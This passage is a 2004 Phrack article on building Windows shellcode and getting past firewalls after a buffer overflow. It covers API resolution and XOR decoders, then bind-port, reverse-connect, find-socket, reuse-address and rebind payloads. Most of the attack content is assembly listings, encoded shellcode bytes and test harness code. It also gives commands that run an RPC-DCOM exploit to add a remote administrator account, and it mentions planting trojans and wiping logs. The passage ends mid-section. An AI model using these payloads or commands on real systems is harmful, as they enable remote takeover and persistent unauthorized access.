Copy Link
Add to Bookmark
Report
Phrack Inc. Volume 11 Issue 62 File 07
==Phrack Inc.==
Volume 0xXX, Issue 0x3e, Phile #0x07 of 0x10
|=-----------=[ History and Advances in Windows Shellcode ]=-------------=|
|=-----------------------------------------------------------------------=|
|=---------------=[ sk <sk at scan-associates d0t net> ]=----------------=|
|=------------------------=[ June 22nd, 2004 ]=--------------------------=|
--[ Contents
1. Abstract
2. Introduction to shellcode
a. Why shellcode?
b. Windows shellcode skeleton
i. Getting EIP
ii. Decoder
iii. Getting address of required function
iv. Locating Kernel32 base memory
v. Getting GetProcAddress()
vi. Getting other functions by name
vii. Spawning a shell
c. Compiling our shellcode
3. The connection
a. Bind to port shellcode
i. Bind to port shellcode implementation
ii. Problem with Bind to port shellcode
b. Reverse connect
i. Reverse connect shellcode implementation
ii. Problem with reverse connect shellcode
4. One-way shellcode
a. Find socket shellcode
i. Problem with find socket shellcode
b. Reuse address shellcode
i. Reuse address shellcode implementation
ii. Problem with reuse address shellcode
c. Rebind socket
i. Rebind socket shellcode implementation
d. Other one-way shellcode
5. Transferring file using shellcode
a. Uploading file with debug.exe
b. Uploading file with VBS
c. Retrieving file from command line
6. Avoiding IDS detection
7. Restarting vulnerable service
8. End of shellcode?
9. Greetz!
10. References
11. The code
--[ 1. Abstract
Firewall is everywhere in the Internet now. Most of the exploits
released in the public have little concern over firewall rules
because they are just proof of concept. In real world, we would
encounter targets with firewall that will make exploitation harder.
We need to overcome these obstacles for a successful penetration
testing job. The research of this paper started when we need to take
over (own) a machine which is heavily protected with rigid firewall
rules. Although we can reach the vulnerable service but the strong
firewall rules between us and the server hinder all standard exploits
useless.
The objective of the research is to find alternative ways which allow
penetration tester to take control of a machine after a successful
buffer overflow. A successful buffer overflow in a sense that it will
eventually leads to arbitrary code execution. These alternative
mechanisms should succeed where others fail even in the most rigid
firewall rules.
In our research to find a way to by pass these troublesome firewall
rules, we looked into various existing techniques used by exploits in
the public and why they fail. Then, we found several mechanisms that
will work, but dependence to the vulnerable service. Although we can
take over the server using these techniques, we take one step further
to develop a more generic technique which is not dependence to any
service and can be reuse in most other buffer overflows.
This paper will start with dissection on a standard Win32 shellcode
as an introduction. We will then explore the techniques being used by
proof of concept codes to allow attacker to control the target and
their limitations. Then, we will introduce a few alternatives
techniques which we call "One-way shellcode" and how they may by pass
firewall rules. Finally, we also discussed on a possible way to
transfer file from command line without breaking the firewall rule.
--[ 2. Introduction to shellcode
An exploit usually consists of two major components:
1. Exploitation technique
2. Payload
The objective of the exploitation part is to divert the execution
path of the vulnerable program. We can achieve that via one of these
techniques:
* Stack-based Buffer Overflow
* Heap-based Buffer Overflow
* Format String
* Integer Overflow
* Memory corruption, etc
Even though we may use one or more of those exploitation techniques
to control the execution path of a program, each vulnerability need
to be exploited differently. Every vulnerability has different way to
trigger the bug. We may use different buffer size or character set to
trigger the overflow. Although we can probably use the same technique
for vulnerabilities in the same class, we cannot use the same code.
Once we control of the execution path, we probably want it to execute
our code. Thus, we need to include these code or instruction set in
our exploit. The part of code which allows us to execute arbitrary
code is known as payload. The payload can virtually do everything a
computer program can do with the permission of the vulnerable service.
A payload that spawns you a shell is known as a shellcode. It allows
interactive command execution. Unlike Exploitation technique, a well
designed shellcode can easily be reused in other exploits. We will
try to build shellcode that can be reused. A basic requirement of a
shellcode is the shell and a connection that allow use to use it
interactively.
--[ 2.a Why shellcode?
Why shellcode? Simply because it is the simplest way that allows the
attacker to explore the target system interactively. It might give
the attacker the ability to discover internal network, to further
penetrate into other computers. A simple "net view /domain" command
in Windows box would review many other easy targets.
A shell may also allow upload/download file/database, which is
usually needed as proof of successful pen-test. You also may easily
install trojan horse, key logger, sniffer, Enterprise worm, WinVNC,
etc. An Enterprise Worm could be a computer worm which was written
specifically to infect other machine in the same domain using the
credential of the primary domain controller.
A shell is also useful to restart the vulnerable services. This will
keep the service running and your client happy. But more importantly,
restarting the vulnerable service usually allow us to attack the
service again. We also may clean up traces like log files and events
with a shell. There are just many other possibilities.
However, spawning a shell is not the only thing you can do in your
payload. As demonstrated by LSD in their Win32 ASM component, you can
create a payload that loop and wait for command from the attacker.
The attacker could issue a command to the payload to create new
connection, upload/download file or spawn a shell. There are also a
few others payload strategies in which the payload will loop and wait
for additional payload from the attacker.
Regardless whether a payload is spawning a shell or loop to wait for
instructions, it still needs to communicate with the attacker.
Although we are using payload that spawns a shell throughout this
article, the mechanisms being use for communication can be use in
other payload strategy.
--[ 2.b Windows shellcode skeleton
Shellcode usually start by getting to know where you are during the
execution by grapping the EIP value. And then, a decoding process
will take place. The process will then jump into the decoded memory
area where execution can continue. Before we can do anything useful,
we need to find addresses of all functions and API that we need to
use in the shellcode. With that, we can setup a socket, and finally
spawn a shell.
* Getting EIP
* Decoder
* Getting addresses of required functions
* Setup socket
* Spawning shell
Let's look into what these components suppose to do, in greater
detail.
--[ 2.b.i Getting EIP
We would like to make our shellcode as reusable as possible. For that,
we will avoid using any fixed address which could change in different
environment. We will use relative addressing as much as we could. To
start with, we need to know where we are in the memory. This address
will be our base address. Any variable or function in the shellcode
will be relative to this address. To get this address, we can use a
CALL and a POP instruction. As we already know, whenever we are
calling a function, the return value is push into the stack just
before the function is called. So, if the first thing we do in the
function is a POP command, we will obtain the return value in a
register. As shown below, EAX will be 451005.
450000:
label1: pop eax
450005: ... (eax = 451005)
451000: call label1 ;start here!
451005:
Most likely you will find something similar to the code below in a
shellcode, which does about the same thing.
450000: jmp label1
450002:
label2: jmp cont
450004:
label1: call label2
450009:
cont: pop eax
... (eax = 450009)
Another interesting mechanism being use to obtain the EIP is to make
use of a few special FPU instructions. This was implemented by Aaron
Adams in Vuln-Dev mailing list in the discussion to create pure ASCII
shellcode. The code uses fnstenv/fstenv instructions to save the
state of the FPU environment.
fldz
fnstenv [esp-12]
pop ecx
add cl, 10
nop
ECX will hold the address of the EIP. However, these instructions
will generate non-standard ASCII characters.
--[ 2.b.ii Decoder
Buffer overflow usually will not allow NULL and a few special
characters. We can avoid using these characters by encoding our
shellcode. The easiest encoding scheme is the XOR encoding. In this
encoding, we will XOR each char in our shellcode with a predefined
value. During execution, a decoder will translate the rest of the
code back to real instruction by XOR it again with the predefined
value. As shown here, we can set the number of byte we want to decode
in ecx, and while eax is pointing to the starting point of our
encoded shellcode. We xor the destination byte by byte with 0x96
until the loop over. There are other more advance encoding schemes,
of cause. We can use a DWORD xor value instead of a char to encode 4
bytes at a time. We also may break the code apart by encoding them
using a different xor key. All with the purpose to get rid of
unusable chars in our shellcode.
xor ecx, ecx
mov cl, 0C6h ;size
loop1:
inc eax
xor byte ptr [eax], 96h
loop loop1
The Metasploit project (http://metasploit.com/) contains a few very
useful encoders worth checking.
--[ 2.b.iii Getting address of required function
After the decoding process, we will jump into the memory area where
the decoded shellcode start to continue our execution. Before we can
do anything useful, we must locate the address of all APIs that we
need to use and store it in a jump table. We are not going to use any
fixed address to API because it is different between service packs.
To get the address of API we need, we can use an API called
GetProcAddress(). By supplying the name of the function we need to
this API, it will return the address where we can call to use it. To
obtain the address of GetProcAddress() itself, we can search the
export table of the Kernel32.dll in the memory. Kernel32.dll image is
located predefined in a memory location depending on the OS.
* NT - 0x77f00000
* 2kSP2 & SP3 - 0x77e80000
* WinXP - 0x77e60000
Since we know the default base memory of kernel32.dll is located at
these locations, we can start looping backward from 0x77f00000 to
look for "MZ\x90" byte sequences. Kernel32 start with "MZ\x90" mark
just like any Windows application. This trick was used by High Speed
Junky (HSJ) in his exploit and it works quite nicely for all the
above OS and service pack. However Windows 2000 SP4's Kernel32.dll is
located at 0x7c570000. In order to scan the memory from 0x77f00000,
we need to setup an exception handler that will catch invalid memory
access.
--[ 2.b.iv Locating Kernel32 base memory
However, there is a better method to get the kernel32 base memory.
Using the fs selector, we can get into our PEB. By searching the
PEB_LDR_DATA structure, we will find the list of DLL which our
vulnerable program initialized when it start. The list of DLL will be
loaded in sequence, first, NTDLL, followed by Kernel32. So, by
traveling one nod forward in the list, we will get the base memory of
the Kernel32.dll. This technique, complete with the code, has been
published by researchers in VX-zine, then used by LSD in their
Windows Assembly component.
mov eax,fs:[30h] ; PEB base
mov eax,[eax+0ch] ; goto PEB_LDR_DATA
; first entry in InInitializationOrderModuleList
mov esi,[eax+1ch]
lodsd ; forward to next LIST_ENTRY
mov ebx,[eax+08h] ; Kernel32 base memory
--[ 2.b.v Getting GetProcAddress()
Once we know the base address of Kernel32.dll, we can locate its
Export Table and look for "GetProcAddress" string. We also can get
the total of exported functions. Using the number, we loop until we
find the string.
mov esi,dword ptr [ebx+3Ch] ;to PE Header
add esi,ebx
mov esi,dword ptr [esi+78h] ;to export table
add esi,ebx
mov edi,dword ptr [esi+20h] ;to export name table
add edi,ebx
mov ecx,dword ptr [esi+14h] ;number of exported function
push esi
xor eax,eax ;our counter
For each address in the jump table, we will check if the destination
name is match with "GetProcAddress". If not, we increase EAX by one
and continue searching. Once we found a match, EAX will be holding
our counter. Using the following formula, we can obtain the real
address of GetProcAddress().
ProcAddr = (((counter * 2) + Ordinal) * 4) + AddrTable + Kernel32Base
We count until we reach "GetProcAddress". Multiply the index by 2,
add it to the address of exported ordinals table. It should now point
to the ordinal of GetProcAddress(). Take the value, multiply it by 4.
Total it up with the address of the addrress of the table and
Kernel32 base address, we will get the real address of the
GetProcAddress(). We can use the same technique to get the address of
any exported function inside Kernel32.
--[ 2.b.vi Getting other functions by name
Once we get the address of GetProcAddress(), we can easily obtain
address of any other API. Since there are quite a number of APIs that
we need to use, we (actually, most of these codes were dissass from
HSJ's exploit) build a function that take a function name and return
the address. To use the function, set ESI pointing to the name of the
API we want to load. It must be NULL terminated. Set EDI point to the
jump table. A jump table is just a location where we store all
addresses of API we need to call. Set ECX to number of API we want it
to resolve.
In this example, we call to load 3 APIs:
mov edi,esi ;EDI is the output, our jump table
xor ecx,ecx
mov cl,3 ;Load 3 APIs
call loadaddr
The "loadaddr" function that get the job done:
loadaddr:
mov al,byte ptr [esi]
inc esi
test al,al
jne loadaddr ;loop till we found a NULL
push ecx
push edx
push esi
push ebx
call edx ;GetProcAddress(DLL, API_Name);
pop edx
pop ecx
stosd ;write the output to EDI
loop loadaddr ;loop to get other APIs
ret
--[ 2.b.vii Spawning a shell
Once we have gone thru those troublesome API address loading, we can
finally do something useful. To spawn a shell in Windows, we need to
call the CreateProcess() API. To use this API, we need to set up the
STARTUPINFO in such a way that, the input, output and error handler
will be redirected to a socket. We also will set the structure so
that the process will have no window. With the structure setup, we
just need to call CreateProcess to launch "cmd.exe" to get an
interactive command shell in windows.
;ecx is 0
mov byte ptr [ebp],44h ;STARTUPINFO size
mov dword ptr [ebp+3Ch],ebx ;output handler
mov dword ptr [ebp+38h],ebx ;input handler
mov dword ptr [ebp+40h],ebx ;error handler
;STARTF_USESTDHANDLES |STARTF_USESHOWWINDOW
mov word ptr [ebp+2Ch],0101h
lea eax,[ebp+44h]
push eax
push ebp
push ecx
push ecx
push ecx
inc ecx
push ecx
dec ecx
push ecx
push ecx
push esi
push ecx
call dword ptr [edi-28] ;CreateProcess
--[ 2.c Compiling our shellcode
The Code section in the end of the paper contains source code
bind.asm. bind.asm is a complete shellcode written in Assembly
Language which will create a shell in Windows and bind it to a
specific port. Compile bind.asm:
# tasm -l bind.asm
It will produce 2 files:
1. bind.obj - the object code
2. bind.lst - assembly listing
If we open bind.obj with a hex editor, we will see that the object
code start with something similar to this:
01) 80 0A 00 08 62 69 6E 64-2E 61 73 6D 62 88 20 00 ....bind.asmb. .
02) 00 00 1C 54 75 72 62 6F-20 41 73 73 65 6D 62 6C ...Turbo Assembl
03) 65 72 20 20 56 65 72 73-69 6F 6E 20 34 2E 31 99 er Version 4.1.
04) 88 10 00 40 E9 49 03 81-2F 08 62 69 6E 64 2E 61 ...@.I../.bind.a
05) 73 6D 2F 88 03 00 40 E9-4C 96 02 00 00 68 88 03 sm/...@.L....h..
06) 00 40 A1 94 96 0C 00 05-5F 54 45 58 54 04 43 4F .@......_TEXT.CO
07) 44 45 96 98 07 00 A9 B3-01 02 03 01 FE 96 0C 00 DE..............
08) 05 5F 44 41 54 41 04 44-41 54 41 C2 98 07 00 A9 ._DATA.DATA.....
09) 00 00 04 05 01 AE 96 06-00 04 46 4C 41 54 39 9A ..........FLAT9.
10) 02 00 06 5E 96 08 00 06-44 47 52 4F 55 50 8B 9A ...^....DGROUP..
11) 04 00 07 FF 02 5A 88 04-00 40 A2 01 91 A0 B7 01 .....Z...@......
12) 01 00 00 EB 02 EB 05 E8-F9 FF FF FF 58 83 C0 1B ............X...
13) ...
14) 5A 59 AB E2 EE C3 99 8A-07 00 C1 10 01 01 00 00 ZY..............
15) 9C 6D 8E 06 D2 7C 26 F6-06 05 00 80 74 0E F7 06 .m...|&.....t...
Our shellcode start with hex code of 0xEB, 0x02 as show in line 12 of
the partial hex dump above. It will end with 0xC3 as shown in line 14.
We need to use a hex editor to remove the first 176 bytes and the
last 26 bytes. (You don't need to do this if you are using NASM
compiler, but the author has been using TASM since his MS-DOS age).
Now that we have the shellcode in its pure binary form, we just need
to build a simple program that read from this file and produce the
corresponding hex value in a C string. Refer to the Code section
(xor.cpp) for the code that will do that. The output of the program
is our shellcode in C string syntax:
# xor bind.obj
BYTE shellcode[436] = ""
"\xEB\x02\xEB\x05\xE8\xF9\xFF\xFF\xFF\x58\x83\xC0\x1B\x8D\xA0\x01"
...
"\xE2\xEE\xC3";
--[ 3 The connection
We have seen some of the basic building block of a shellcode. But we
have not cover the connection part of the shellcode. As mentioned, a
shellcode needs a shell and a connection to allow interactive command.
We want to be able to send any command and see the output. Regardless
if we are spawning a shell, transferring file or loop to wait for
further command, we need to setup a connection. There are three
published techniques: Bind to port, Reverse connect and Find socket
shellcode. We will look into each one of these, as well as their
limitation. Along the way, various exploits that uses these shellcode
will be demonstrated to get a better understanding.
--[ 3.a Bind to port shellcode
Bind to port shellcode is popular being used in proof of concept
exploit. The shellcode setup a socket, bind it to a specific port and
listen for connection. Upon accepting a connection, you spawn a shell.
This following APIs are needed for this type of connection:
* WSASocket()
* bind()
* listen()
* accept()
It is important to note that we are using WSASocket() and not
socket() to create a socket. Using WSASocket will create a socket
that will not have an overlapped attribute. Such socket can be use
directly as a input/output/error stream in CreateProcess() API. This
eliminates the need to use anonymous pipe to get input/output from a
process which exist in older shellcode. The size of the shellcode
shrinks quite a bit using this technique. It was first introduced by
David Litchfield. You can find many of Bind too port shellcode in
Packetstorm Security by debugging shellcode of these exploits:
* slxploit.c
* aspcode.c
* aspx_brute.c
--[ 3.a.1 Bind to port shellcode implementation
mov ebx,eax
mov word ptr [ebp],2
mov word ptr [ebp+2],5000h ;port
mov dword ptr [ebp+4], 0 ;IP
push 10h
push ebp
push ebx
call dword ptr [edi-12] ;bind
inc eax
push eax
push ebx
call dword ptr [edi-8] ;listen (soc, 1)
push eax
push eax
push ebx
call dword ptr [edi-4] ;accept
Compiling bind.asm will create shellcode (435 bytes) that will work
with any service pack. We will test the bind to port shellcode using
a simple testing program - testskode.cpp. Copy the shellcode (in C
string) generated the xor program and parse it into testskode.cpp:
BYTE shellcode[436] = ""
"\xEB\x02\xEB\x05\xE8\xF9\xFF\xFF\xFF\x58\x83\xC0\x1B\x8D\xA0\x01"
...
// this is the bind port of the shellcode
*(unsigned short *)&shellcode[0x134] = htons(1212) ^ 0x0000;
void *ma = malloc(10000);
memcpy(ma,shellcode,sizeof(shellcode));
__asm
{
mov eax,ma
int 3
jmp eax
}
free(ma);
Compile and running testskode.cpp will result in a break point just
before we jump to the shellcode. If we let the process continue, it
will bind to port 1212 and ready to accept connection. Using netcat,
we can connect to port 1212 to get a shell.
--[ 3.a.2 Problem with bind to port shellcode
Using proof of concept exploit with bind to port shellcode against
server in organization with firewall usually will not work. Even
though we successfully exploited the vulnerability and our shellcode
executed, we will have difficulties connecting to the bind port.
Usually, firewall will allow connection to popular services like port
25, 53, 80, etc. But usually these ports are already in used by other
applications. Sometimes the firewall rules just did not open these
ports. We have to assume that the firewall block every port, expect
for the port number of the vulnerable service.
--[ 3.b Reverse connect shellcode
To overcome the limitation of bind to port shellcode, many exploits
prefer to use reverse connection shellcode. Instead of binding to a
port waiting for connection, the shellcode simply connect to a
predefined IP and port number to drop it a shell.
We must include our IP and port number which the target must connect
to give a shell in the shellcode. We also must run netcat or anything
similar in advance, ready to accept connection. Of cause, we must be
using IP address which the victim machine is reachable. Thus, usually
we use public IP.
The following APIs are needed to setup this type of connection:
* WSASocket()
* connect()
You can find many of these examples in Packetstorm Security by
debugging shellcode of these exploits:
* jill.c
* iis5asp_exp.c
* sqludp.c
* iis5htr_exp.c
--[ 3.b.1 Reverse connect shellcode implementation
push eax
push eax
push eax
push eax
inc eax
push eax
inc eax
push eax
call dword ptr [edi-8] ;WSASocketA
mov ebx,eax
mov word ptr [ebp],2
mov word ptr [ebp+2],5000h ;port in network byte order
mov dword ptr [ebp+4], 2901a8c0h ;IP in network byte order
push 10h
push ebp
push ebx
call dword ptr [edi-4] ;connect
Compiling reverse.asm will create shellcode (384 bytes) that will
work with any service pack. We will use this shellcode in our
JRun/ColdFusion exploit. However there is still one problem. This
exploit will not accept NULL character. We need to encode our
shellcode with an XOR shield. We can use the xor.cpp to encode our
shellcode using its third parameter.
First, let's compile reverse.asm:
# \tasm\bin\tasm -l reverse.asm
Then, hex-edit reverse.obj to get our shellcode. Refer to bind to
port shellcode on how to do it. Now, use xor.cpp to print the
shellcode:
# xor reverse.obj
BYTE shellcode[384] = ""
"\xEB\x02\xEB\x05\xE8\xF9\xFF\xFF\xFF\x58\x83\xC0\x1B\x8D\xA0\x01"
"\xFC\xFF\xFF\x83\xE4\xFC\x8B\xEC\x33\xC9\x66\xB9\x5B\x01\x80\x30"
"\x96\x40\xE2\xFA\xE8\x60\x00\x00\x00\x47\x65\x74\x50\x72\x6F\x63"
...
The first 36 bytes of the shellcode is our decoder. It has been
carefully crafted to avoid NULL. We keep this part of the shellcode.
Then, we run xor.cpp again with an extra parameter to xor the code
with 0x96.
# xor reverse.obj 96
BYTE shellcode[384] = ""
"\x7D\x94\x7D\x93\x7E\x6F\x69\x69\x69\xCE\x15\x56\x8D\x1B\x36\x97"
"\x6A\x69\x69\x15\x72\x6A\x1D\x7A\xA5\x5F\xF0\x2F\xCD\x97\x16\xA6"
"\x00\xD6\x74\x6C\x7E\xF6\x96\x96\x96\xD1\xF3\xE2\xC6\xE4\xF9\xF5"
...
"\x56\xE3\x6F\xC7\xC4\xC0\xC5\x69\x44\xCC\xCF\x3D\x74\x78\x55";
We take bytes sequence from the 37th bytes onwards. Combine the
encoder and the xored shellcode, we will get the actual shellcode
that we can use in our exploit.
BYTE shellcode[384] = ""
"\xEB\x02\xEB\x05\xE8\xF9\xFF\xFF\xFF\x58\x83\xC0\x1B\x8D\xA0\x01"
"\xFC\xFF\xFF\x83\xE4\xFC\x8B\xEC\x33\xC9\x66\xB9\x5B\x01\x80\x30"
"\x96\x40\xE2\xFA"
"\x7E\xF6\x96\x96\x96\xD1\xF3\xE2\xC6\xE4\xF9\xF5"
...
"\x56\xE3\x6F\xC7\xC4\xC0\xC5\x69\x44\xCC\xCF\x3D\x74\x78\x55";
We can use the following statements in our exploit to change the IP
and port to our machine which has netcat listening for a shell.
*(unsigned int *)&reverse[0x12f] = resolve(argv[1]) ^ 0x96969696;
*(unsigned short *)&reverse[0x12a] = htons(atoi(argv[2])) ^ 0x9696;
The JRun/ColdFusion exploit is attached in the Code section
(weiwei.pl). The exploit uses Reverse connect shellcode.
--[ 3.b.2 Problem with reverse connect shellcode
It is not unusual to find server which has been configure to block
out going connection. Firewall usually blocks all outgoing connection
from DMZ.
--[ 4 One-Way shellcode
With the assumption that firewall has been configured with the
following rules:
* Blocks all ports except for listening ports of the services
* Blocks all outgoing connections from server
Is there any way to control the server remotely? In some case, it is
possible to use existing resources in the vulnerable service to
establish the control. For example, it may be possible to hook
certain functions in the vulnerable service so that it will take over
socket connection or anything similar. The new function may check any
network packet for a specific signature. If there is, it may execute
command that attached along with the network packet. Otherwise, the
packet passes to the original function. We can then connect to the
vulnerable service with our signature to trigger a command execution.
As early as in 2001, Code Red worm uses some sort of function hooking
to deface web site
(http://www.eeye.com/html/Research/Advisories/AL20010717.html).
Another alternative will be to use resources that available from the
vulnerable service. It is also possible to patch the vulnerable
service to cripple the authentication procedure. This will be useful
for services like database, telnet, ftp, SSH and alike. In the case
of Web server, it is possible to create PHP/ASP/CGI pages in the web
root that will allow remote command execution via web pages. The
shellcode in the following link create an ASP page, as implemented by
Mikey (Michael Hendrickx):
http://users.pandora.be/0xffffffce/scanit/tools/sc_aspcmd.c
Code Red 2 worm also has a very interesting method to create a
backdoor of an IIS server. It creates a virtual path to drive C: and
D: of the server to the web root. Using these virtual paths, attacker
can execute cmd.exe which will then allow remote command execution:
http://www.eeye.com/html/research/advisories/AL20010804.html
However, these implementations are specific to the service we are
exploiting. We hope to find a generic mechanism to bypass the
firewall rules so that we can easily reuse our shellcode. With the
assumption that the only way to interact with the server is through
the port of the vulnerable service, we call these shellcode, One-way
shellcode:
* Find socket
* Reuse address socket
* Rebind socket
--[ 4.a Find socket shellcode
This method was documented in LSD's paper on Unix shellcode
(http://lsd-pl.net/unix_assembly.html). Although the code is for Unix,
we can use the same technique in the Windows world. The idea is to
locate the existing connection that the attacker was using during the
attack and use that connection for communication.
Most WinSock API requires only the socket descriptor for its
operation. So, we need to find this descriptor. In our implementation,
we loop from 0x80 onwards. This number is chosen because socket
descriptors below 0x80 are usually not relevant to our network
connection. In our experience, using socket descriptor below 0x80 in
WinSock API sometimes crash our shellcode due to lack of Stack space.
We will get the destination port of the network connection for each
socket descriptor. It is compared with a known value. We hard coded
this value in our shellcode. If there is a match, we found our
connection. However, socket may not be a non-overlapping socket.
Depending on the program that created the socket, there is
possibility that the socket we found is an overlapping socket. If
this is the case, we cannot use it directly as in/out/err handler in
CreateProcess(). To get an interaction communication from this type
of socket, we can anonymous pipe. Description on using anonymous pipe
in shellcode can be found in article by Dark Spyrit
(http://www.phrack.org/show.php?p=55&a=15) and LSD (http://lsd-
pl.net/windows_components.html).
xor ebx,ebx
mov bl,80h
find:
inc ebx
mov dword ptr [ebp],10h
lea eax,[ebp]
push eax
lea eax,[ebp+4]
push eax
push ebx ;socket
call dword ptr [edi-4] ;getpeername
cmp word ptr [ebp+6],1234h ;myport
jne find
found:
push ebx ;socket
Find socket shellcode work by comparing the destination port of the
socket with a known port number. Thus, attacker must obtain this port
number first before sending the shellcode. It can be easily done by
calling getsockname() on a connected socket.
It is important to note that this type of shellcode should be use in
an environment where the attacker is not in a private IP. If you are
in a private IP, your Firewall NATing will create a new connection to
the victim machine during your attack. That connection will have a
different source port that what you obtain in your machine. Thus,
your shellcode will never be able to find the actually connection.
Find socket implementation can be found in findsock.asm in the Code
section. There is also a sample usage of find socket shellcode in
hellobug.pl, an exploit for MS SQL discovered Dave Aitel.
--[ 4.a.1 Problem with Find socket shellcode
Find socket could be perfect, but in some case, socket descriptor of
the attacking connection is no longer available. It is possible that
the socket might already been closed before it reach the vulnerable
code. In some case, the buffer overflow might be in another process
altogether.
--[ 4.b Reuse address shellcode
Since we fail to find the socket descriptor of our connection in a
vulnerability that we are exploiting, we need to find another way. In
the worst scenario, the firewall allows incoming connection only to
one port; the port which the vulnerable service is using. So, if we
can somehow create a bind to port shellcode that actually bind to the
port number of the vulnerable service, we can get a shell by
connecting to the same port.
Normally, we will not be able to bind to a port which already been
used. However, if we set our socket option to SO_REUSEADDR, it is
possible bind our shellcode to the same port of the vulnerable
service. Moreover, most applications simply bind a port to INADDR_ANY
interface, including IIS. If we know the IP address of the server, we
can even specify the IP address during bind() so that we can bind our
shellcode in front of vulnerable service. Binding it to a specific IP
allow us to get the connection first.
Once this is done, we just need to connect to the port number of the
vulnerable service to get a shell. It is also interesting to note
that Win32 allow any user to connect to port below 1024. Thus, we can
use this method even if we get IUSR or IWAM account.
If we don't know the IP address of the server (may be it is using
port forwarding to an internal IP), we still can bind the process to
INADDR_ANY. However, this means we will have 2 processes excepting
connection from the same port on the same interface. In our
experience, we may need to connect a few times to get a shell. This
is because the other process could occasionally get the connection.
API needed to create a reuse address shellcode:
* WSASocketA()
* setsockopt()
* bind()
* listen()
* accept()
--[ 4.b.1 Reuse address shellcode implementation
mov word ptr [ebp],2
push 4
push ebp
push 4 ;SO_REUSEADDR
push 0ffffh
push ebx
call dword ptr [edi-20] ;setsockopt
mov word ptr [ebp+2],5000h ;port
mov dword ptr [ebp+4], 0h ;IP, can be 0
push 10h
push ebp
push ebx
call dword ptr [edi-12] ;bind
Reuse address shellcode implementation is in reuse.asm (434 bytes) in
the Code section. Same usage of this type of shellcode is implemented
in reusewb.c exploit. This exploit is using the NTDLL (WebDav)
vulnerability on IIS Web server.
--[ 4.b.2 Problem with reuse address shellcode
Some applications use SO_EXCLUSIVEADDRUSE, thus reusing the address
is not possible.
--[ 4.c Rebind socket shellcode
It is not unusual to find application that actually uses SO_
EXCLUSIVEADDRUSE option to prevent us to reuse its address. So, our
research did not stop there. We feel that there is a need to create a
better shellcode. Assuming that we have same restriction we have as
before. The only way to connect to the vulnerable machine is via the
port of the vulnerable service. Instead of sharing the port
gracefully as reuse address socket shellcode, we can take over the
port number entirely.
If we can terminate the vulnerable service, we can bind our shell
into the very same port that was previously used by the vulnerable
service. If we can achieve that, the next connection to this port
will yield a shell.
However, our shellcode is usually running as part of the vulnerable
service. Terminating the vulnerable service will terminate our
shellcode.
To get around with this, we need to fork our shellcode into a new
process. The new process will bind to a specific port as soon as it
is available. The vulnerable service will be forcefully terminated.
Forking is not as simple as in Unix world. Fortunately, LSD has done
all the hard work for us (http://lsd-pl.net/windows_components.html).
It is done in the following manner as implemented by LSD:
1. Call CreateProcess() API to create a new process. We must
supply a filename to this API. It doesn't matter which file, as
long as it exist in the system. However, if we choose name like
IExplore, we might be able to bypass even personal firewall. We
also must create the process in Suspend Mode.
2. Call GetThreadContext() to retrieve the environment of the
suspended process. This call allows us to retrieve various
information, including CPU registry of the suspended process.
3. Use VirtualAllocEx() to create enough buffer for our shellcode
in the suspended process.
4. Call WriteProcessMemory() to copy our shellcode from the
vulnerable service to the new buffer in the suspended process.
5. Use SetThreadContext() to replace EIP with memory address of
the new buffer.
6. ResumeThread() will resume the suspended thread. When the
thread starts, it will point directly to the new buffer which
contains our shellcode.
The new shellcode in the separate process will loop constantly trying
to bind to port of the vulnerable service. However, until we
successfully terminate the vulnerable machine it will not be able to
continue.
Back in our original shellcode, we will execute TerminateProcess() to
forcefully terminate the vulnerable service. TerminateProcess() take
two parameters, the Process handle to be terminated and the return
value. Since we are terminating the current process, we can just pass
-1 as the Process Handle.
As soon as the vulnerable service terminated, our shellcode in a
separate process will be able to bind successfully to the specific
port number. It will continue to bind a shell to that port and
waiting for connection. To connect to this shell, we just need to
connect to the target machine on the port number of the vulnerable
service.
It is possible to improve the shellcode further by checking source
port number of IP before allowing a shell. Otherwise, anyone
connecting to that port immediately after your attack will obtain the
shell.
--[ 4.c.1 Rebind socket shellcode implementation
Rebind socket shellcode is implemented in rebind.asm in the Code
section. We need to use a lot of APIs in this shellcode. Loading
these APIs by name will make our shellcode much bigger than it should
be. Thus, the rebind socket shellcode is using another method to
locate the APIs that we need. Instead of comparing the API by its
name, we can compare by its fingerprint/hash. We generate a
fingerprint for each API name we want to use and store it in our
shellcode. Thus, we only need to store 4 bytes (size of the
fingerprint) for each API. During shellcode execution, we will
calculate the fingerprint of API name in the Export Table and compare
it with our value. If there is a match, we found the API we need. The
function that loads an API address by its fingerprint in rebind.asm
was ripped from HD Moore's MetaSploit Framework
(http://metasploit.com/sc/win32_univ_loader_src.c).
A sample usage of a rebind socket shellcode can be found rebindwb.c
and lengmui.c in the Code section. Rebindwb.c is an exploit modified
from the previous WebDAV exploit that make use of Rebind shellcode.
It will attack IIS, kill it and take over its port. Connecting to
port 80 after the exploit will grant the attacker a shell.
The other exploit, lengmui.c is MSSQL Resolution bug, it attack UDP
1434, kill MSSQL server, bind itself to TCP 1433. Connection to TCP
1433 will grant the attacker a shell.
--[ 4.d Other one-way shellcode
There are other creative mechanisms being implemented by Security
Expert in the field. For example, Brett Moore's 91 bytes shellcode as
published in Pen-Test mailing list (http://seclists.org/lists/pen-
test/2003/Jan/0000.html). It is similar to the Find Socket shellcode,
only that, instead of actually finding the attacking connection, the
shellcode create a new process of CMD for every socket descriptor.
Also similar to Find socket shellcode, instead of checking the
destination port to identify our connection, XFocus's forum has
discussion on sending additional bytes for verification. Our
shellcode will read 4 more bytes from every socket descriptor, and if
the bytes match with our signature, we will bind a CMD shell to that
connection. It could be implemented as:
* An exploit send additional bytes as signature ("ey4s") after
sending the overflow string
* The shellcode will set each socket descriptor to non-blocking
* Shellcode call API recv() to check for "ey4s"
* If there is a match, spawn CMD
* Loop if not true
It is also possible to send it with "MSG_OOB" flag. As implemented by
san _at_ xfocus d0t org.
Yet, another possibility is to implement shellcode that execute
command that attached in the shellcode it self. There is no need to
create network connection. The shellcode just execute the command and
die. We can append our command as part of the shellcode and execute
CreateProcess() API. A sample implementation can be found on dcomx.c
in the Code section. For example, we can use the following command to
add a remote administrator to a machine which is vulnerable to RPC-
DCOM bug as discovered by LSD.
# dcomx 10.1.1.1 "cmd /c net user /add compaquser compaqpass"
# dcomx 10.1.1.1 "cmd /c net localgroup /add administrators compaquser"
--[ 5 Transferring file using shellcode
One of the most common things to do after you break into a box is to
upload or download files. We usually download files from our target
as proof of successful penetration testing. We also often upload
additional tools to the server to use it as an attacking point to
attack other internal server.
In the absent of a firewall, we can easily use FTP or TFTP tools
found in standard Windows installation to get the job done:
* ftp -s:script
* tftp -i myserver GET file.exe
However, in a situation where there is no other way to go in and out,
